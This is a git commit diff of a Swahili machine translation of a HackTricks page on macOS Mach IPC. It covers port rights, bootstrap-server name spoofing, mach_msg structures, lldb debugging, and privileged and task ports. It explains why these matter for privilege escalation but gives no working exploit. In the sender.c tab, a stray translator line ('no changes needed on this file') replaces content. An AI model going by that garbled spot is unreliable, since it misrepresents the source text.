Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-05-06 23:54:54 +00:00
parent 4dc0dd42f1
commit 64d5b54319
2 changed files with 244 additions and 133 deletions

View file

@ -18,9 +18,9 @@ Njia nyingine za kusaidia HackTricks:
### Taarifa Msingi
Mach hutumia **kazi** kama **kitengo kidogo** cha kugawana rasilimali, na kila kazi inaweza kuwa na **vijitabu vingi**. Hizi **kazi na vijitabu vinahusishwa 1:1 na michakato na vijitabu vya POSIX**.
Mach hutumia **kazi** kama **kitengo kidogo** cha kugawana rasilimali, na kila kazi inaweza kuwa na **vijiti vingi**. Hizi **kazi na vijiti zimepangwa 1:1 kwa michakato na vijiti vya POSIX**.
Mawasiliano kati ya kazi hufanyika kupitia Mawasiliano ya Michakato ya Mach (IPC), kwa kutumia njia za mawasiliano ya njia moja. **Ujumbe hupitishwa kati ya bandari**, ambazo hufanya kama aina ya **matrekta ya ujumbe** yanayosimamiwa na kernel.
Mawasiliano kati ya kazi hufanyika kupitia Mawasiliano ya Michakato ya Mach (IPC), kwa kutumia njia za mawasiliano za njia moja. **Ujumbe hupitishwa kati ya bandari**, ambazo hufanya kama aina ya **fifirisho la ujumbe** linalosimamiwa na kernel.
**Bandari** ni **elementi msingi** ya Mach IPC. Inaweza kutumika kutuma ujumbe na kupokea.
@ -32,40 +32,40 @@ Mchakato pia unaweza kutuma jina la bandari na baadhi ya haki **kwa kazi tofauti
Haki za bandari, ambazo hufafanua ni operesheni gani kazi inaweza kufanya, ni muhimu katika mawasiliano haya. **Haki za bandari** zinaweza kuwa ([maelezo kutoka hapa](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Haki ya Kupokea**, ambayo inaruhusu kupokea ujumbe uliotumwa kwa bandari. Bandari za Mach ni foleni za MPSC (wazalishaji wengi, mtumiaji mmoja), ambayo inamaanisha kwamba inaweza kuwepo **haki moja ya kupokea kwa kila bandari** katika mfumo mzima (tofauti na mabomba, ambapo michakato mingi inaweza kushikilia viambatisho vya faili kwa mwisho wa kusoma wa bomba moja).
* **Haki ya Kupokea**, ambayo inaruhusu kupokea ujumbe uliotumwa kwa bandari. Bandari za Mach ni foleni za MPSC (wazalishaji wengi, mtumiaji mmoja), ambayo inamaanisha kwamba inaweza kuwepo **haki moja ya kupokea kwa kila bandari** katika mfumo mzima (tofauti na mabomba, ambapo michakato mingi inaweza kushikilia viashiria vya faili kwa mwisho wa kusoma wa bomba moja).
* **Kazi yenye Haki ya Kupokea** inaweza kupokea ujumbe na **kuunda Haki za Kutuma**, kuruhusu kutuma ujumbe. Awali, **kazi yenyewe ina Haki ya Kupokea juu ya bandari yake**.
* Ikiwa mmiliki wa Haki ya Kupokea **anakufa** au kuifuta, **haki ya kutuma inakuwa bure (jina lililokufa).**
* **Haki ya Kutuma**, ambayo inaruhusu kutuma ujumbe kwa bandari.
* Haki ya Kutuma inaweza **kufananishwa** ili kazi ikiwa na Haki ya Kutuma iweze kufananisha haki hiyo na **kumpa kwa kazi ya tatu**.
* Tafadhali kumbuka kwamba **haki za bandari** pia zinaweza **kupitishwa** kupitia ujumbe wa Mac.
* Haki ya Kutuma inaweza **kufanyiwa nakala** ili kazi ikiwa na Haki ya Kutuma inaweza kufanya nakala ya haki hiyo na **kuipatia kazi ya tatu**.
* Kumbuka kwamba **haki za bandari** pia zinaweza **kupitishwa** kupitia ujumbe wa Mac.
* **Haki ya Kutuma mara moja**, ambayo inaruhusu kutuma ujumbe moja kwa bandari na kisha kutoweka.
* Haki hii **haiwezi** **kufananishwa**, lakini inaweza **kuhamishwa**.
* Haki hii **haiwezi** **kufanyiwa nakala**, lakini inaweza **kuhamishwa**.
* **Haki ya Seti ya Bandari**, ambayo inaashiria _seti ya bandari_ badala ya bandari moja. Kutoa ujumbe kutoka kwa seti ya bandari kunatoa ujumbe kutoka kwa moja ya bandari inayojumuisha. Seti za bandari zinaweza kutumika kusikiliza bandari kadhaa kwa wakati mmoja, kama `chagua`/`piga kura`/`epoll`/`kqueue` katika Unix.
* **Jina lililokufa**, ambalo sio haki halisi ya bandari, bali ni nafasi tupu. Linapobomolewa bandari, haki zote za bandari zilizopo kwa bandari hiyo zinageuka kuwa majina yaliyokufa.
* **Jina lililokufa**, ambalo sio haki halisi ya bandari, lakini ni nafasi tupu tu. Linapobomolewa bandari, haki zote za bandari zilizopo kwa bandari hiyo zinageuka kuwa majina yaliyokufa.
**Kazi zinaweza kusafirisha HAKI ZA KUTUMA kwa wengine**, kuwaruhusu kutuma ujumbe nyuma. **HAKI ZA KUTUMA pia zinaweza kufananishwa, hivyo kazi inaweza kuiga na kumpa haki kwa kazi ya tatu**. Hii, pamoja na mchakato wa kati unaojulikana kama **seva ya bootstrap**, inaruhusu mawasiliano yenye ufanisi kati ya kazi.
**Kazi zinaweza kusafirisha HAKI ZA KUTUMA kwa wengine**, kuwaruhusu kutuma ujumbe nyuma. **HAKI ZA KUTUMA pia zinaweza kufanyiwa nakala, hivyo kazi inaweza kuzidisha na kumpa haki ya tatu**. Hii, pamoja na mchakato wa kati unaojulikana kama **seva ya bootstrap**, inaruhusu mawasiliano yenye ufanisi kati ya kazi.
### Bandari za Faili
Bandari za faili huruhusu kufunga viambatisho vya faili katika bandari za Mac (kwa kutumia Haki za Bandari za Mach). Inawezekana kuunda `fileport` kutoka kwa FD iliyotolewa kutumia `fileport_makeport` na kuunda FD kutoka kwa fileport kutumia `fileport_makefd`.
Bandari za faili huruhusu kufunga viashiria vya faili katika bandari za Mac (kwa kutumia Haki za Bandari za Mach). Inawezekana kuunda `fileport` kutoka kwa FD iliyopewa kutumia `fileport_makeport` na kuunda FD kutoka kwa fileport kutumia `fileport_makefd`.
### Kuweka Mawasiliano
Kama ilivyotajwa hapo awali, inawezekana kutuma haki kutumia ujumbe wa Mach, hata hivyo, **hauwezi kutuma haki bila kuwa na haki ya kutuma ujumbe wa Mach**. Kwa hivyo, mawasiliano ya kwanza yanathibitishwaje?
Kama ilivyotajwa awali, inawezekana kutuma haki kutumia ujumbe wa Mach, hata hivyo, **hauwezi kutuma haki bila kuwa na haki ya kutuma ujumbe wa Mach**. Kwa hivyo, mawasiliano ya kwanza yanathibitishwaje?
Kwa hili, **seva ya bootstrap** (**launchd** kwenye mac) inahusika, kwani **kila mtu anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap**, inawezekana kuomba haki ya kutuma ujumbe kwa mchakato mwingine:
1. Kazi **A** inaunda **bandari mpya**, ikipata **HAKI YA KUPOKEA** juu yake.
2. Kazi **A**, ikiwa mmiliki wa HAKI YA KUPOKEA, **inazalisha HAKI YA KUTUMA kwa bandari**.
3. Kazi **A** inathibitisha **mawasiliano** na **seva ya bootstrap**, na **kupeleka HAKI YA KUTUMA** kwa bandari iliyozalishwa mwanzoni.
3. Kazi **A** inathibitisha **mawasiliano** na **seva ya bootstrap**, na **kuituma HAKI YA KUTUMA** kwa bandari iliyoizalisha mwanzoni.
* Kumbuka kwamba mtu yeyote anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap.
4. Kazi A inapeleka ujumbe wa `bootstrap_register` kwa seva ya bootstrap ili **kuhusisha bandari iliyotolewa na jina** kama `com.apple.taska`
5. Kazi **B** inashirikiana na **seva ya bootstrap** kutekeleza utaftaji wa bootstrap kwa jina la huduma (`bootstrap_lookup`). Kwa hivyo seva ya bootstrap inaweza kujibu, kazi B itapeleka **HAKI YA KUTUMA kwa bandari iliyoundwa hapo awali** ndani ya ujumbe wa utaftaji. Ikiwa utaftaji unafanikiwa, **seva inaduplicate HAKI YA KUTUMA** iliyopokea kutoka kwa Kazi A na **kuhamisha kwa Kazi B**.
4. Kazi A inatuma ujumbe wa `bootstrap_register` kwa seva ya bootstrap ili **kuhusisha bandari iliyotolewa na jina** kama `com.apple.taska`
5. Kazi **B** inashirikiana na **seva ya bootstrap** kutekeleza utaftaji wa bootstrap kwa jina la huduma (`bootstrap_lookup`). Kwa hivyo seva ya bootstrap inaweza kujibu, kazi B itatuma **HAKI YA KUTUMA kwa bandari iliyoundwa hapo awali** ndani ya ujumbe wa utaftaji. Ikiwa utaftaji unafanikiwa, **seva inadua HAKI YA KUTUMA** iliyopokelewa kutoka kwa Kazi A na **kuipitisha kwa Kazi B**.
* Kumbuka kwamba mtu yeyote anaweza kupata HAKI YA KUTUMA kwa seva ya bootstrap.
6. Kwa HAKI HII YA KUTUMA, **Kazi B** inaweza **kutuma** **ujumbe** **kwa Kazi A**.
6. Kwa HAKI YA KUTUMA hii, **Kazi B** inaweza **kutuma** **ujumbe** **kwa Kazi A**.
7. Kwa mawasiliano ya pande zote kawaida kazi **B** inazalisha bandari mpya na **HAKI YA KUPOKEA** na **HAKI YA KUTUMA**, na kumpa **HAKI YA KUTUMA kwa Kazi A** ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande zote).
Seva ya bootstrap **haiwezi kuthibitisha** jina la huduma lililodaiwa na kazi. Hii inamaanisha **kazi** inaweza **kujifanya kuwa kazi yoyote ya mfumo**, kama vile **kudai jina la huduma ya idhini** na kisha kuidhinisha kila ombi.
Seva ya bootstrap **haiwezi kuthibitisha** jina la huduma lililodaiwa na kazi. Hii inamaanisha **kazi** inaweza kwa uwezekano **kujifanya kuwa kazi yoyote ya mfumo**, kama vile **kudai jina la huduma ya idhini** na kisha kuidhinisha kila ombi.
Kisha, Apple huhifadhi **majina ya huduma zilizotolewa na mfumo** katika faili za usanidi salama, zilizoko katika miongozo iliyolindwa na SIP: `/System/Library/LaunchDaemons` na `/System/Library/LaunchAgents`. Pamoja na kila jina la huduma, **binary inayohusiana pia imehifadhiwa**. Seva ya bootstrap, itaunda na kushikilia **HAKI YA KUPOKEA kwa kila moja ya majina haya ya huduma**.
@ -73,11 +73,11 @@ Kwa huduma hizi zilizopangwa mapema, **mchakato wa utaftaji unatofautiana kidogo
* Kazi **B** inaanzisha utaftaji wa bootstrap kwa jina la huduma.
* **launchd** inachunguza ikiwa kazi inaendeshwa na ikiwa haiko, **inaianzisha**.
* Kazi **A** (huduma) inatekeleza **kuangalia bootstrap** (`bootstrap_check_in()`). Hapa, **seva ya bootstrap inaunda HAKI YA KUTUMA, inaishikilia, na **kuhamisha HAKI YA KUPOKEA kwa Kazi A**.
* launchd inaduplicate **HAKI YA KUTUMA na kupeleka kwa Kazi B**.
* Kazi **A** (huduma) inatekeleza **kuangalia bootstrap** (`bootstrap_check_in()`). Hapa, **seva ya bootstrap inaunda HAKI YA KUTUMA, inaishikilia, na **inapitisha HAKI YA KUPOKEA kwa Kazi A**.
* launchd inadua **HAKI YA KUTUMA na kuipitisha kwa Kazi B**.
* Kazi **B** inazalisha bandari mpya na **HAKI YA KUPOKEA** na **HAKI YA KUTUMA**, na kumpa **HAKI YA KUTUMA kwa Kazi A** (huduma) ili iweze kutuma ujumbe kwa KAZI B (mawasiliano ya pande zote).
Walakini, mchakato huu unatumika tu kwa kazi za mfumo zilizopangwa mapema. Kazi zisizo za mfumo bado zinaendesha kama ilivyoelezwa awali, ambayo inaweza kuruhusu kujifanya.
Walakini, mchakato huu unatumika tu kwa kazi za mfumo zilizopangwa mapema. Kazi zisizo za mfumo bado zinaendesha kama ilivyoelezwa awali, ambayo inaweza kwa uwezekano kuruhusu udanganyifu.
{% hint style="hatari" %}
Kwa hivyo, launchd kamwe haipaswi kugonga au mfumo mzima utaanguka.
@ -86,7 +86,7 @@ Kwa hivyo, launchd kamwe haipaswi kugonga au mfumo mzima utaanguka.
[Pata habari zaidi hapa](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
Kazi ya `mach_msg`, kimsingi wito wa mfumo, hutumiwa kutuma na kupokea ujumbe wa Mach. Kazi inahitaji ujumbe utumwe kama hoja ya awali. Ujumbe huu lazima uanze na muundo wa `mach_msg_header_t`, ukifuatiwa na maudhui halisi ya ujumbe. Muundo huo umedefiniwa kama ifuatavyo:
Kazi ya `mach_msg`, kimsingi ni wito wa mfumo, hutumiwa kutuma na kupokea ujumbe wa Mach. Kazi inahitaji ujumbe utumwe kama hoja ya awali. Ujumbe huu lazima uanze na muundo wa `mach_msg_header_t`, ukifuatiwa na maudhui ya ujumbe halisi. Muundo huo umedefiniwa kama ifuatavyo:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -97,17 +97,17 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Mchakato unaomiliki _**haki ya kupokea**_ inaweza kupokea ujumbe kwenye mlango wa Mach. Kinyume chake, **wapelekaji** hupewa _**haki ya kutuma**_ au _**haki ya kutuma mara moja**_. Haki ya kutuma mara moja ni kwa ajili ya kutuma ujumbe mmoja tu, baada ya hapo inakuwa batili.
Mchakato unaomiliki _**haki ya kupokea**_ unaweza kupokea ujumbe kwenye mlango wa Mach. Kinyume chake, **wapelekaji** hupewa _**haki ya kutuma**_ au _**haki ya kutuma mara moja**_. Haki ya kutuma mara moja ni kwa ajili ya kutuma ujumbe mmoja tu, baada ya hapo inakuwa batili.
Uga wa awali **`msgh_bits`** ni ramani ya biti:
- Biti ya kwanza (yenye maana zaidi) hutumika kuonyesha kuwa ujumbe ni mgumu (zaidi kuhusu hili hapa chini)
- Biti ya kwanza (yenye maana zaidi) hutumika kuonyesha kuwa ujumbe ni mgumu (zaidi kuhusu hili chini)
- Ya 3 na 4 hutumiwa na kernel
- **Biti 5 zisizo na maana zaidi za byte ya 2** zinaweza kutumika kwa **voucher**: aina nyingine ya mlango wa kutuma mchanganyiko wa funguo/thamani.
- **Biti 5 zisizo na maana zaidi za byte ya 2** zinaweza kutumika kwa **voucher**: aina nyingine ya mlango kutuma jozi za thamani/ufunguo.
- **Biti 5 zisizo na maana zaidi za byte ya 3** zinaweza kutumika kwa **mlango wa ndani**
- **Biti 5 zisizo na maana zaidi za byte ya 4** zinaweza kutumika kwa **mlango wa mbali**
Aina zinazoweza kutajwa katika voucher, malango ya ndani na ya mbali ni (kutoka [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
Aina zinazoweza kutajwa katika voucher, milango ya ndani na ya mbali ni (kutoka [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
@ -122,7 +122,7 @@ Aina zinazoweza kutajwa katika voucher, malango ya ndani na ya mbali ni (kutoka
```
Kwa mfano, `MACH_MSG_TYPE_MAKE_SEND_ONCE` inaweza kutumika **kuashiria** kwamba **haki ya kutuma mara moja** inapaswa kuletwa na kuhamishiwa kwa ajili ya bandari hii. Inaweza pia kutajwa `MACH_PORT_NULL` ili kuzuia mpokeaji kuweza kujibu.
Ili kufanikisha **mawasiliano ya pande zote** kwa urahisi, mchakato unaweza kutaja **bandari ya mach** katika **kichwa cha ujumbe wa mach** inayoitwa _bandari ya jibu_ (**`msgh_local_port`**) ambapo **mpokeaji** wa ujumbe anaweza **kutuma jibu** kwa ujumbe huu.
Ili kufikia **mawasiliano ya pande zote** kwa urahisi, mchakato unaweza kutaja **bandari ya mach** katika **kichwa cha ujumbe wa mach** kinachoitwa _bandari ya jibu_ (**`msgh_local_port`**) ambapo **mpokeaji** wa ujumbe anaweza **kutuma jibu** kwa ujumbe huu.
{% hint style="success" %}
Tafadhali elewa kwamba aina hii ya mawasiliano ya pande zote hutumiwa katika ujumbe wa XPC ambao unatarajia jibu (`xpc_connection_send_message_with_reply` na `xpc_connection_send_message_with_reply_sync`). Lakini **kawaida bandari tofauti huzalishwa** kama ilivyoelezwa hapo awali ili kuunda mawasiliano ya pande zote.
@ -136,16 +136,16 @@ Vitengo vingine vya kichwa cha ujumbe ni:
- `msgh_id`: kitambulisho cha ujumbe huu, ambacho huchambuliwa na mpokeaji.
{% hint style="danger" %}
Tafadhali elewa kwamba **ujumbe wa mach hutumwa kupitia `bandari ya mach`**, ambayo ni njia ya mawasiliano ya **mpokeaji mmoja**, **watumaji wengi** iliyojengwa ndani ya kernel ya mach. **Michakato mingi** inaweza **kutuma ujumbe** kwa bandari ya mach, lakini wakati wowote ni **mchakato mmoja tu unaweza kusoma** kutoka kwake.
Tafadhali elewa kwamba **ujumbe wa mach hutumwa juu ya `bandari ya mach`**, ambayo ni njia ya mawasiliano ya **mpokeaji mmoja**, **watumaji wengi** iliyojengwa ndani ya kiini cha mach. **Michakato mingi** inaweza **kutuma ujumbe** kwa bandari ya mach, lakini wakati wowote tu **mchakato mmoja unaweza kusoma** kutoka kwake.
{% endhint %}
Ujumbe kisha hufanywa na kichwa cha **`mach_msg_header_t`** kifuatiwa na **mwili** na na **trailer** (ikiwa ipo) na inaweza kutoa idhini ya kujibu. Katika kesi hizi, kernel inahitaji tu kusafirisha ujumbe kutoka kazi moja hadi nyingine.
Ujumbe kisha hufanywa na kichwa cha **`mach_msg_header_t`** kifuatiwa na **mwili** na na **trailer** (ikiwa ipo) na inaweza kutoa idhini ya kujibu. Katika kesi hizi, kiini kinahitaji tu kusafirisha ujumbe kutoka kazi moja hadi nyingine.
**Trailer** ni **taarifa iliyowekwa kwenye ujumbe na kernel** (haiwezi kuwekwa na mtumiaji) ambayo inaweza kuhitajika wakati wa kupokea ujumbe kwa kutumia bendera `MACH_RCV_TRAILER_<trailer_opt>` (kuna taarifa tofauti zinazoweza kuombwa).
**Trailer** ni **taarifa zilizoongezwa kwenye ujumbe na kiini** (haiwezi kuwekwa na mtumiaji) ambayo inaweza kuhitajika wakati wa kupokea ujumbe kwa kutumia bendera `MACH_RCV_TRAILER_<trailer_opt>` (kuna taarifa tofauti zinazoweza kuhitajika).
#### Ujumbe Wenye Utata
Hata hivyo, kuna ujumbe mwingine **wenye utata zaidi**, kama vile wale wanaopitisha haki za bandari za ziada au kugawana kumbukumbu, ambapo kernel pia unahitaji kutuma vitu hivi kwa mpokeaji. Katika kesi hizi, biti muhimu zaidi ya kichwa `msgh_bits` inawekwa.
Hata hivyo, kuna ujumbe mwingine zaidi **wenye utata**, kama vile wale wanaopitisha haki za bandari za ziada au kugawana kumbukumbu, ambapo kiini pia kinahitaji kutuma vitu hivi kwa mpokeaji. Katika kesi hizi, biti muhimu zaidi ya kichwa `msgh_bits` inawekwa.
Maelezo yanayowezekana ya kupitisha yanatambuliwa katika [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html):
```c
@ -164,26 +164,63 @@ unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
```
### Mac Ports APIs
Katika bits 32, maelezo yote ni 12B na aina ya maelezo iko katika ya 11. Katika bits 64, saizi hutofautiana.
Tafadhali kumbuka kuwa bandari zinaunganishwa na jina la kazi, kwa hivyo ili kuunda au kutafuta bandari, jina la kazi pia linahojiwa (zaidi katika `mach/mach_port.h`):
{% hint style="danger" %}
Kernel itakopy maelezo kutoka kwa kazi moja hadi nyingine lakini kwanza **kutengeneza nakala katika kumbukumbu ya kernel**. Mbinu hii, inayojulikana kama "Feng Shui" imekuwa ikitumiwa vibaya katika mianya kadhaa kufanya **kernel ikope data katika kumbukumbu yake** ikifanya mchakato kutuma maelezo kwake mwenyewe. Kisha mchakato unaweza kupokea ujumbe (kernel itawafuta).
- **`mach_port_allocate` | `mach_port_construct`**: **Unda** bandari.
- `mach_port_allocate` inaweza pia kuunda **seti ya bandari**: haki ya kupokea juu ya kikundi cha bandari. Kila wakati ujumbe unapopokelewa inaonyeshwa bandari kutoka ambapo ulitumwa.
- `mach_port_allocate_name`: Badilisha jina la bandari (kwa msingi wa nambari ya 32bit)
- `mach_port_names`: Pata majina ya bandari kutoka kwa lengo
- `mach_port_type`: Pata haki za kazi juu ya jina
- `mach_port_rename`: Badilisha jina la bandari (kama dup2 kwa FDs)
- `mach_port_allocate`: Tenga kupokea mpya, PORT\_SET au DEAD\_NAME
- `mach_port_insert_right`: Unda haki mpya katika bandari ambapo una PATA
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: Vipengele vinavyotumiwa kutuma na kupokea ujumbe wa mach. Toleo la kubadilisha linaruhusu kutaja buffer tofauti kwa kupokea ujumbe (toleo lingine litaitumia tena).
Pia niwezekanavyo **kutuma haki za bandari kwa mchakato dhaifu**, na haki za bandari zitaonekana tu kwenye mchakato (hata kama hachakazi nazo).
{% endhint %}
### Debug mach\_msg
### Viungo vya Mac Ports
Kwa kuwa kazi **`mach_msg`** na **`mach_msg_overwrite`** ndio hutumiwa kutuma na kupokea ujumbe, kuweka kizuizi kwao kunaweza kuruhusu kupekua ujumbe uliotumwa na kupokelewa.
Tafadhali kumbuka kuwa bandari zinaunganishwa na jina la kazi, kwa hivyo ili kuunda au kutafuta bandari, jina la kazi pia linahitajika (zaidi katika `mach/mach_port.h`):
Kwa mfano, anza kudebug kiotomatiki programu yoyote unayoweza kudebug kwani itapakia **`libSystem.B` ambayo itatumia kazi hii**.
* **`mach_port_allocate` | `mach_port_construct`**: **Unda** bandari.
* `mach_port_allocate` inaweza pia kuunda **seti ya bandari**: haki ya kupokea juu ya kikundi cha bandari. Kila wakati ujumbe unapopokelewa inaonyeshwa bandari kutoka ambapo ulitumwa.
* `mach_port_allocate_name`: Badilisha jina la bandari (kwa chaguo msingi nambari ya 32bit)
* `mach_port_names`: Pata majina ya bandari kutoka kwa lengo
* `mach_port_type`: Pata haki za kazi juu ya jina
* `mach_port_rename`: Badilisha jina la bandari (kama dup2 kwa FDs)
* `mach_port_allocate`: Tenga kupokea mpya, PORT\_SET au DEAD\_NAME
* `mach_port_insert_right`: Unda haki mpya katika bandari ambapo una PATA
* `mach_port_...`
* **`mach_msg`** | **`mach_msg_overwrite`**: Vifaa vinavyotumiwa kutuma na kupokea ujumbe wa mach. Toleo la kubadilisha linaruhusu kutaja buffer tofauti kwa kupokea ujumbe (toleo lingine litaitumia tena).
### Machaguo ya mach\_msg
Kwa kuwa kazi **`mach_msg`** na **`mach_msg_overwrite`** ndizo hutumiwa kutuma na kupokea ujumbe, kuweka kizuizi juu yao kunaruhusu kuangalia ujumbe uliotumwa na ule uliopokelewa.
Kwa mfano, anza kudebugi programu yoyote unayoweza kudebugi kwani itapakia **`libSystem.B` ambayo itatumia kazi hii**.
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
<strong>(lldb) r
</strong>Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 &#x3C;+0>: pacibsp
0x181d3ac24 &#x3C;+4>: sub sp, sp, #0x20
0x181d3ac28 &#x3C;+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c &#x3C;+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
<strong>(lldb) bt
</strong>* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&#x26;) const::$_0::operator()() const + 168
</code></pre>
Ili kupata hoja za **`mach_msg`** angalia rejista. Hizi ndizo hoja (kutoka [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
@ -206,7 +243,7 @@ x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
```
Angalia kichwa cha ujumbe ukichunguza hoja ya kwanza:
Chunguza kichwa cha ujumbe ukichunguza hoja ya kwanza:
```armasm
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
@ -223,7 +260,7 @@ Aina hiyo ya `mach_msg_bits_t` ni ya kawaida sana kuruhusu jibu.
### Piga orodha ya bandari
### Piga namba milango
```bash
lsmp -p <pid>
@ -247,7 +284,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
```
**Jina** ni jina la chaguo-msingi linalopewa mlango (angalia jinsi inavyo **ongezeka** katika byte za kwanza 3). **`ipc-object`** ni **kitambulisho** cha kipekee kilichofichwa cha mlango.\
**Jina** ni jina la chaguo-msingi linalopewa mlango (angalia jinsi inavyoongezeka katika herufi 3 za kwanza). **`ipc-object`** ni **kitambulisho** cha kipekee kilichofichwa cha mlango.\
Pia kumbuka jinsi milango yenye haki za kutuma pekee inavyo **tambulisha mmiliki** wake (jina la mlango + pid).\
Pia kumbuka matumizi ya **`+`** kuonyesha **kazi nyingine zilizounganishwa na mlango huo huo**.
@ -259,7 +296,7 @@ Unaweza kusakinisha zana hii kwenye iOS kwa kuipakua kutoka [http://newosxbook.c
### Mfano wa Kanuni
Tafadhali angalia jinsi **mtumaji** anavyo **tenga** bandari, anajenga **haki ya kutuma** kwa jina `org.darlinghq.example` na kuituma kwa **seva ya bootstrap** wakati mtumaji alipoomba **haki ya kutuma** ya jina hilo na kuitumia kutuma ujumbe.
Tafadhali angalia jinsi **mtumaji** anavyo **tenga** bandari, anajenga **haki ya kutuma** kwa jina `org.darlinghq.example` na kuituma kwa **seva ya bootstrap** wakati mtumaji alipoomba **haki ya kutuma** ya jina hilo na kuitumia kutuma **ujumbe**.
{% tabs %}
{% tab title="receiver.c" %}
@ -330,13 +367,12 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
```
{% endtab %}
{% tab title="sender.c" %}### Mawasiliano ya Mchakato kwa Mchakato (IPC) kwenye MacOS
Katika mifumo ya uendeshaji ya MacOS, mawasiliano kati ya michakato tofauti hufanyika kupitia Mawasiliano ya Mchakato kwa Mchakato (IPC). Hii inaweza kusababisha hatari ya usalama ikiwa haifanyiki kwa usalama ipasavyo.
Kuna njia kadhaa za kutekeleza IPC kwenye MacOS, kama vile mizunguko ya ujumbe, mizunguko ya mizunguko, na mizunguko ya anwani. Kwa kuzingatia njia hizi, wadukuzi wanaweza kutumia udhaifu katika mchakato wa IPC kutekeleza mbinu za kuvuka mipaka na kupata mamlaka ya ziada kwenye mfumo.
Ni muhimu kwa watengenezaji wa programu kuhakikisha kuwa mawasiliano ya IPC kati ya michakato ni salama na salama ili kuzuia mashambulizi ya kuvuka mipaka na kuongeza mamlaka.{% endtab %}
{% tab title="sender.c" %}
### Swahili Translation
```plaintext
Hakuna mabadiliko yanayohitajika kwenye faili hii.
```
{% endtab %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -391,20 +427,20 @@ printf("Sent a message\n");
{% endtab %}
{% endtabs %}
### Bandari za Kipekee
### Bandari za Haki
* **Bandari ya Mwenyeji**: Ikiwa mchakato una **ruhusa ya Kutuma** kwenye bandari hii anaweza kupata **taarifa** kuhusu **mfumo** (k.m. `host_processor_info`).
* **Bandari ya Mwenyeji wa Privilege**: Mchakato wenye **Haki ya Kutuma** kwenye bandari hii anaweza kutekeleza **vitendo vya kipekee** kama vile kupakia ugani wa kernel. **Mchakato unahitaji kuwa na ruhusa ya mizizi** kupata idhini hii.
* **Bandari ya Mwenyeji**: Ikiwa mchakato una **ruhusa ya Kutuma** juu ya bandari hii anaweza kupata **habari** kuhusu **mfumo** (k.m. `host_processor_info`).
* **Bandari ya Haki ya Mwenyeji**: Mchakato wenye **Haki ya Kutuma** juu ya bandari hii anaweza kutekeleza **vitendo vya haki** kama vile kupakia kifurushi cha kernel. **Mchakato unahitaji kuwa na mizizi** kupata idhini hii.
* Zaidi ya hayo, ili kuita API ya **`kext_request`** ni lazima kuwa na ruhusa nyingine za **`com.apple.private.kext*`** ambazo hupewa tu programu za Apple.
* **Bandari ya Jina la Kazi:** Toleo lisiloruhusiwa la _bandari ya kazi_. Inahusisha kazi, lakini haimruhusu kuidhibiti. Kitu pekee kinachoonekana kupatikana kupitia hii ni `task_info()`.
* **Bandari ya Kazi** (inayoitwa pia bandari ya kernel)**:** Ikiwa una ruhusa ya Kutuma kwenye bandari hii ni rahisi kudhibiti kazi (kusoma/kuandika kumbukumbu, kuunda nyuzi...).
